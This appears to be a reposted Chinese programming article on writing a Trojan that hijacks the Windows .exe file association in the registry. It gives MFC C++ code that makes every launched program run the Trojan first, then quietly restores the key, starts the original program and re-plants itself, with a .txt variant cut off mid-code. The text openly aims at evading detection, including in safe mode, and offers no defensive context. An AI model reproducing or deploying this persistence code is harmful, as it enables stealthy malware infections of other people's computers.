快速业务通道

文件关联型木马的编程思路

作者 佚名技术 来源 程序设计 浏览 发布时间 2012-06-30

我们知道一般情况下想在开机启动程序,就要把程序写在注册表中的

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService

等环境中,由于这个值大家都比较熟悉所以很容易被查出,而且进入了windows保护模式这些程序是不会运行的,但是如果我们把我们的程序在注册表中进行了关联却收到了很好的结果。

在注册表HKEY_CLASSES_ROOT\exefile\shell\open\command中的值就是可执行程序*.exe

文件的关联处,缺省为“"%1"

%*”,如果把这个程序改为我们的木马程序,那样的话,每执行一个可执行程序就会执行我们的程序,而不会再执行原有的程序,这样我们的木马就起动了,我们要做的工作就是我们的木马启动后,再执行原有的程序,这样对于一般的人来看好像什么事也没发生过。好了心动不如行动,我们开始动手做一个吧。

l 首先用vc建立一个基于对话框的程序srart

在CstartDlg加入公有变量 HANDLE hMutex;防止我们的木马运行多次。

l 在CStartDlg::OnInitDialog()中加入如下函数:

CString str;
str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得传入的命令行参数
const char *MutexObject="MyStart";//建立互斥对象
hMutex=NULL;
hMutex=::CreateMutex(false,false,MutexObject);
if(hMutex!=NULL)
{
DWORD err=GetLastError();
if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果发现同一程序已经运行,则退出
}
if(str!="")
{
CString temp;
char ch;
int length =str.GetLength();
for(int i=0;i<length;i++)
{
ch=str.GetAt(i);
if(ch==''\\'')
temp=temp+"\\\\";
else temp=temp+ch;
}
temp = temp.Left(temp.GetLength() - 2);
temp = temp.Mid(1);
//上面的函数是把字符串中所有的”\”变为”\\”
char str1[]="\"%1\" %*";
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);
//
在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序
}
//在程序执行完成后,再把注册表改为我们要启动的木马程序的
TCHAR str2[256];
// 得到程序全路径名
GetModuleFileName( NULL, str2, 255 );
strcat(str2," \"%1\" %*");
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);
//经过上述过程只要程序一运行就会执行我们的start
程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。

同样的我们也可以将其它文件进行关联,例如将文本文件进行关联,在CStartDlg::OnInitDialog()中重新加下代码

CString str;
str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得传入的命令行参数
const char *MutexObject="MyStart";//建立互斥对象
hMutex=NULL;
hMutex=::CreateMutex(false,false,MutexObject);
if(hMutex!=NULL)
{
DWORD err=GetLastError();
if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果发现同一程序已经运行,则退出
}
if(str.Find("txt")!=-1)
{
CString temp;
char ch;
int length =str.GetLength();
for(int i=0;i<length;i++)
{
ch=str.GetAt(i);
if(ch==''\\'')
temp=temp+"\\\\";
else temp=temp+ch;
}
temp = temp.Left(temp.GetLength() - 2);
temp = temp.Mi

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号